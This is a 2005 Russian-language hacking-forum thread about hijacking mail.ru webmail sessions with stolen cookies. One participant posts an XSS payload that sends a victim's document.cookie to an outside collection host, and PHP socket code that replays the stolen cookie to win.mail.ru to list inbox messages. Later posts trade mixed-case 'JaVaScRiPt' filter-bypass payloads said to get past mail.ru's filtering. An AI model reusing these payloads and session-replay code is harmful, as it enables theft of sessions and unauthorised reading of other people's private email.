Передача cookies

Discussion in 'Уязвимости Mail-сервисов' started by Майор, 24 Mar 2005.

  1. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    Вот встала у меня такая задача : имея куки допустим c mail.ru мне надо чтоб скрипт(php) передовал куки серверу и дальше лазил по ящику....
    Подскажите возможнолт это реализовать ?
     
  2. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    мож хоть кто ссылочку даст на описания таких куков ...
     
  3. LittleLamer

    LittleLamer Elder - Старейшина

    Joined:
    4 Nov 2004
    Messages:
    44
    Likes Received:
    17
    Reputations:
    7
    Да, возможно. Нужно знать либо HTTP протокол, тогда fsockopen() и т.д. Либо юзать setcookie().
    Мне более по душе первое :)
     
  4. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    Это хорошо, что можно :)
    Приведи примерчик плиз!!!
    ну например для того же майл ру передаём

    Code:
    mrcu=C3DC424333243DD60E4D0100007F
    Mpopl=1187863386
    MailUser=1
    
     
  5. LittleLamer

    LittleLamer Elder - Старейшина

    Joined:
    4 Nov 2004
    Messages:
    44
    Likes Received:
    17
    Reputations:
    7
    Например ты почил куки таким (или похожим) способом:
    Code:
    <img src="javascript:img=new Image();img.src='http://mysite.com/xxx.php?cooki='+escape(document.cookie)">
    
    (для маила это конечно не работает, это для примера)
    PHP:
    $cooki=$_GET["cooki"];
    $req="GET /cgi-bin/msglist?folder=0 HTTP/1.0\r\nHost: win.mail.ru\r\nReferer: http://win.mai.ru/cgi-bin/msglist?folder=0\r\nCookie: ".$cooki."\r\n\r\n";
    $f=fsockopen("win.mail.ru"80);
    fwrite($f$req);
    $dt="";
    while (!
    feof($f))
       
    $dt.=fread($f1024);
    fclose($f);
    Терь в $dt будет содержаться содержимое страницы /cgi-bin/msglist?folder=0 (это список последних писем в папке Входящие)

    P.S.: за понятность написанного ответственность нести не хочу :cool:
     
    #5 LittleLamer, 25 Mar 2005
    Last edited: 25 Mar 2005
  6. LittleLamer

    LittleLamer Elder - Старейшина

    Joined:
    4 Nov 2004
    Messages:
    44
    Likes Received:
    17
    Reputations:
    7
    И ещё. Ты в майле xss какой нить знаешь?
     
  7. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    Почти всё нонятно, токо есть несколько вопросов
    1) Зачем здесь точки и два перевода строки Cookie: ".$cooki."\r\n\r\n";
    2) И здесь зачем точка после $dt.=
    Вроде по синтаксису можно без них... или я неправ ?

    3) маил ру ща JaVaScRiPt пропускает
     
  8. LittleLamer

    LittleLamer Elder - Старейшина

    Joined:
    4 Nov 2004
    Messages:
    44
    Likes Received:
    17
    Reputations:
    7
    1) два перевода строки - это спецификация HTTP протокола и означает конец запроса
    2)
    Code:
    $dt.=fread($f, 1024)
    это в php означает увеличения строки $dt на прочитанное из сокета $f. Т.е. если точки не было бы, то в конце цикла в $dt хранилось бы не всё содержимое страницы, а только самая последняя часть
    3)
    Code:
    <img src=JaVaScRiPt:alert()>
    (JaVaScRiPt "дословно")
    mail.ru это не пропускает, уточни плиз
     
  9. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    1) а здесть то зачем точки .$cooki. ?

    2) тег img на mail.ru всегда фильтровался, а image нет

    так вот работает :
    <image src=JaVaScRiPt:alert()>
    JaVaScRiPt - разными регистрами
     
    #9 Майор, 26 Mar 2005
    Last edited: 26 Mar 2005
  10. LittleLamer

    LittleLamer Elder - Старейшина

    Joined:
    4 Nov 2004
    Messages:
    44
    Likes Received:
    17
    Reputations:
    7
    точки - это в php строки складываются :)
     
  11. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    ok, Спасибо!